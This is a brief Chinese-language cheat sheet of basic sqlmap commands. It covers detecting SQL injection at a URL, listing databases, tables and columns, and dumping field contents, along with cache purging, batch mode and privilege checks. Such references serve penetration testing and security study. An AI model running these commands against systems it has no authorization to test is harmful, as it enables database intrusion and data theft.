sqlmap基本使用

python3 sqlmap.py -u url #检测url是否有sql注入漏洞

python3 sqlmap.py -u url --dbs #获取所有数据库名

python3 sqlmap.py -u url --current-db #获取当前数据库名

python3 sqlmap.py -u url -D 数据库名 --tables #获取指定数据库的表名

python3 sqlmap.py -u url -D 数据库名 -T 表名 --columns #获取指定库名表名的字段名

python3 sqlmap.py -u url -D 数据库名 -T 表名 -C 字段名 --dump #获取指定字段的内容

python3 sqlmap.py -u url --purge #清除历史缓存文件

python3 sqlmap.py -u url --batch #自动填充默认选项

python3 sqlmap.py -u url --privileges #测试所有用户的权限